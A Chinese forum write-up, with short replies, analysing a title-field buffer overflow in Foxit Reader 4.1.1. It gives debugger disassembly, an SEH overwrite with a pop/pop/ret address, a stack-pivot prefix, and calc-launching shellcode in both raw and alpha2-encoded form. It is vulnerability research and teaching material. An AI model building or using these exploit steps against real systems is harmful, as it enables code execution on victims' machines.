首页
社区
课程
招聘
[原创]Foxit 4.1.1缓冲区溢出漏洞分析
2014-2-26 21:27 3153

[原创]Foxit 4.1.1缓冲区溢出漏洞分析

2014-2-26 21:27
3153
文章转自Tracy'Blog——【Foxit 4.1.1缓冲区溢出漏洞分析

       应该是去年1月份,在家那段时间,在看雪投的简历,然后得到了一个电话面试~通过后,对方发来了一个笔试题,也就是今天要分析的这个有漏洞的程序。要求就是:  
1、调试附件中的Foxit Reader.exe,利用打开的恶意文件Foxit.pdf进行调试。定位导致错误的位置,进行错误描述,并且贴出恶意的反汇编代码。
2.、编写一段利用上述漏洞的shellcode,实现启动windows下计算器的功能。

  
    那会儿做了第一问后,就被unicode编码的shellcode给难住,再加上心思没在上面开始忙着准备复试,就草草给对方发了个分析报告,说明自己没搞定如何应用此漏洞。完了,到11月份的样子,在学校呆着无聊,刚巧在图书馆看到《黑防09精华》,就拿起来翻了翻,看到了那会儿折腾了好半天没搞定的问题的解决办法。就翻出程序做了起来。也就有了今天这文章了:

     本文要分析的是Foxit Reader 4.1.1 版本的一个基于pdf文件格式溢出的漏洞,首先写出exploit的是Corelan团队的Sud0,本文对其提供的exploit有所参考,但并不是照抄或者翻译。 我所做的我所做的是根据POC来分析漏洞存在原理,并构造exploit,实现攻击。

一、分析及构造shellcode:

用Foxit打开poc.pdf,程序直接崩溃,并弹出报错窗口:

     任务栏看到程序标题为:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA……

      可以大致确定崩溃原因为:文件赋予标题过长而导致程序溢出出错。

     用winhex打开poc.pdf,在文件偏移30A3处发现Title字样,根据pdf文件格式可知道其后接的都将是文件的标题,共有516字节全部填充为“A”。

     将这516个字符删掉一些,就留下几个A,再次打开文件,一切正常,所以,可以确定出错点为Foxit在读取Poc.pdf数据进行处理时,因poc中标题过长而造成解析出错。

OD加载Foxit,F9运行起来,对CreateFileW下断,之后打开Poc.pdf。程序中断在:

 009746CC    FF15 08D69F00   call dword ptr ds:[<&KERNEL32.CreateFileW>]      ; kernel32.CreateFileW     

一直F8跟踪到OD界面中出现一大段AAAAA时,再放慢速度去跟。如下代码处:

004A0723  |.  E8 C81A1500   call Foxit_Re.005F21F0                           ;  取得标题
004A0728  |.  8B4C24 1C     mov ecx,dword ptr ss:[esp+1C]
004A072C  |.  85C9          test ecx,ecx
004A072E  |.  74 05         je short Foxit_Re.004A0735
004A0730  |.  8B49 04       mov ecx,dword ptr ds:[ecx+4]                     ;  文件中赋予的标题长度为516化成十六进制为204放入ecx中
004A0733  |.  EB 02         jmp short Foxit_Re.004A0737
004A0735  |>  33C9          xor ecx,ecx
004A0737  |>  85C9          test ecx,ecx
004A0739  |.  7E 13         jle short Foxit_Re.004A074E
004A073B  |.  8BD1          mov edx,ecx
004A073D  |>  66:8338 20    /cmp word ptr ds:[eax],20                        ;  判断标题中是否含有ascii码小于32的特殊字符
004A0741  |.  73 05         |jnb short Foxit_Re.004A0748
004A0743  |.  66:C700 2000  |mov word ptr ds:[eax],20                        ;  如果有,则用空格键代替
004A0748  |>  83C0 02       |add eax,2
004A074B  |.  4A            |dec edx
004A074C  |.^ 75 EF         \jnz short Foxit_Re.004A073D                     ;  循环判断
004A074E  |>  51            push ecx
004A074F  |.  8D4C24 20     lea ecx,dword ptr ss:[esp+20]                    ;  地址中存放标题长度


最终定位到发生错误出:

009798FF  |.  FF92 E0000000 |call dword ptr ds:[edx+E0]                      ;  对文件中标题进行处理
00979905  |.  43            |inc ebx
00979906  |>  837D FC 00    |cmp dword ptr ss:[ebp-4],0

可后来发现,其实在运行出错后,文件夹中生成了错误报告,我们可以直接利用错误报告直接定位。

在这个call中,提取文件标题时发生溢出:

009798FF  |.  FF92 E0000000 |call dword ptr ds:[edx+E0]                      ;  对文件中标题进行处理
00979905  |.  43            |inc ebx
00979906  |>  837D FC 00    |cmp dword ptr ss:[ebp-4],0                      ;处理完成之后,ebp原本指向的地址被覆盖,而后ebp所指的地址不可读而导致出错


再来分析出错点在哪,导致错误的代码如下:

00986FDA  |.  50            push eax                                         ; |String1
00986FDB  |.  FF15 E8D59F00 call dword ptr ds:[<&KERNEL32.lstrcpyW>]         ; \利用lstrcpyw将读入内存的标题内容复制到堆栈,方便设置好标题
00986FE1  |.  8B46 40       mov eax,dword ptr ds:[esi+40]
00986FE4  |.  85C0          test eax,eax
00986FE6  |.  7E 24         jle short Foxit_Re.0098700C
00986FE8  |.  50            push eax                                         ; |
00986FE9  |.  8D85 F8FBFFFF lea eax,dword ptr ss:[ebp-408]                   ; |
00986FEF  |.  68 5CAFA000   push Foxit_Re.00A0AF5C                           ; |Format = ":%d"
00986FF4  |.  50            push eax                                         ; |/String
00986FF5  |.  FF15 B4D59F00 call dword ptr ds:[<&KERNEL32.lstrlenW>]         ; |\获取长度
00986FFB  |.  8D8445 F8FBFF>lea eax,dword ptr ss:[ebp+eax*2-408]             ; |
00987002  |.  50            push eax                                         ; |s
00987003  |.  FF15 08D99F00 call dword ptr ds:[<&USER32.wsprintfW>]          ; \格式化
00987009  |.  83C4 0C       add esp,0C
0098700C  |>  8D85 F8FBFFFF lea eax,dword ptr ss:[ebp-408]
00987012  |.  50            push eax                                         ; /Arg2
00987013  |.  FF76 1C       push dword ptr ds:[esi+1C]                       ; |Arg1
00987016  |.  E8 4E1DFFFF   call Foxit_Re.00978D69                           ; \设置标题setwindowstext
0098701B  |>  5E            pop esi
0098701C  |.  C9            leave                                            ;  Leave的作用相当==mov esp,ebp和pop ebp


而后ebp指向00120000,此地址不存在,故不可读,从而出发异常处理。

在运行leave指令后,我们可以看到堆栈地址如下所示:



也就是在回到前一个函数的堆栈空间时出错了。通过堆栈中的数据我们可看到,在如果我们在标题的最后一个位置在添加两个字符,是不是就可以控制ebp呢?

在标题最后添加C和D,再次加载程序打开文件运行到0098701C处,查看ebp的值如下:



00440043就是我们刚添加的C和D,也就是说,我们能够控制ebp的取值。这个时候再看堆栈的值:

     

看到了she链,而在这之上的都是我们的填充的标题,如果我们多填充一些字符把she链也给覆盖掉呢?是不是就可以控制异常的走向?再次向poc.pdf中填充随机字符。

堆栈结果如下:

这时,我们的思路就是利用seh使程序运行到我们shellcode处,达到利用的目的。记下“B2B3”在文件中的偏移地址为32C7。

用SafeSEH可以看到foxit.exe是Safeseh OFF的,也就是我们可以利用程序自带的p/p/r来实现跳转。

所以,接下来就是在程序中找符合要求的p/p/r,因为程序对输入的字符进行了ascii转unicode处理,所以,我们符合要求的地址只能是00xx00xx,搜索后得到如下地址:006A0046。对应的Ascii字母是:“Fj”。于是,我们在将刚才的B3改为Fj,让程序在异常时运行到006A0046处。

对006A0046下断点并继续再次加载,看堆栈与程序处如下:



如此一来,pop两个值后,程序将会返回到0x0012F7A8处,其内容如下:

也就是我们刚才填充的标题的内容。

接下来就是构造shellcode漏洞利用:

先找到一个在我本地能够成功打开计算器的shellcode:
"\x55\x8B\xEC\x33\xC9\x83\xEC\x20\xB8\x4D\x53\x56\x43\x89\x45\xF4\xB8\x52"
"\x54\x2E\x44\x89\x45\xF8\xB8\x4C\x4C\x4C\x4C\x89\x45\xFC"
"\x88\x4D\xFE\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\xB8\x63\x61"
"\x6C\x63\x89\x45\xE4\xB8\x2E\x65\x78\x65\x89\x45\xE8\x8D\x45\xE4"
"\x33\xC9\x88\x4D\xEC\x50\xB8\xC7\x93\xBF\x77\xFF\xD0\x83\xC4\x20\x8B"
"\xE5\x5D\xC3";


因为标题中只接受Ascii码大于32的字符,而且,还要进行Unicode转码,所以先用alpha2对shellcode编码。而编码时要考虑的程序是从哪里跳入shellcode的。我们先来看看在0x006A004D执行retn时:


而程序retn后要跳转到0x0012F7A8处,两者相距比较远,所以我们还要在shellcode前做一些铺垫。

我们看看这个时候堆栈的情况:


好像没有离0x0012F7A8比较近又大于0x0012F7A8的值,要想个办法让某寄存器指向0x0012F7A8之后的某个值,之后跳转过去。思路如下:

先pop/ pop esp把0012F7A8给esp,之后,要改变esp的值可以用popad,弹出EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX.这样会使esp的值增加32。之后再利用esp跳转到shellcode。

于是,先pop出一个值,这里用到的是5F,因为它对对应的是“Z”,接下来是pop esp,对应的机器码是:5C(\),而后是popad对应的机器码是61(a),也就是在0012F7A8到0012F7C8这32个字节中要实现上面三个功能就行了,而且不能改变堆栈的值,之后,还要push esp对应的机器码是54(T),之后还有一个retn对应的机器码是C3。

去找不改变堆栈的操作而且得满足00xx00的格式。突然发现004100就可以,于是在其余位置上填上A就行了,最后在shellcode前面32字节填充如下字符:

0x5A 0x41 0x46 0x6A 0x41 0x41 0x5C 0x41 0x41 0x61 0x41 0x54 0x41  0xC3

之后就可以用esp跳转到shellcode。

我们用alpha对shellcode进行转码。跳转指针为esp。

转码后的数字字母shellcode如下:
TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBPUtKJLOCeyU3zLmPH8pMqCr6msrinekDtxpRR4Ln14ayneL8EhpL0LNlPL2ine9lBhPMynrmOUKD20h8t7kmSPQlkOFp6XosPa2LQSRiOUXd7HNNoupxOuQyQ5YXrmmuYTmcViqxPM8lr0wHy7TSWOd7KO8P1sgTKpbkIUOmusKPA

用winhex写入构造好的poc中,运行。直接退出,也就是说,还有异常。

继续用OD载入,F9运行到

0012F7C9    0055 00         add byte ptr ss:[ebp],dl 
时报错,因为ebp地址不可写,就改一下,把U改成a就行了。

最后,成功打开计算器。


——Tracy_梓朋

2014/02/25

      同时,寻大牛组队一起参加bctf~求带领~~~   

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (10)
雪    币: 2660
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 34 2014-2-26 21:30
2
0
又是我沙发... 哈哈
不知道程序是否有漏洞挖之的感觉比较爽
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
snorts 2014-2-26 22:00
3
0
前排先占座观看
雪    币: 124
活跃值: (319)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
topofall 2014-2-26 22:03
4
0
菜鸟一个,比赛有没有加入队伍,求收,加队。。。。
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
JoySauce 1 2014-2-26 22:56
5
0
mark
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
IICrack 2014-2-27 00:54
6
0
mark
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
封心锁爱 2014-2-27 09:25
7
0
mark
雪    币: 323
活跃值: (215)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
purpleroc 6 2014-2-27 14:22
8
0
上次是板凳的哈~
雪    币: 2660
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 34 2014-2-27 14:24
9
0
是滴,嘿嘿... 改天也发个溢出玩玩
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
hrpirip 1 2014-2-27 14:28
10
0
最近都流行这个了?
雪    币: 323
活跃值: (215)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
purpleroc 6 2014-2-28 13:07
11
0
怎么说?还好吧~只是遇到了两个~
游客
登录 | 注册 方可回帖
返回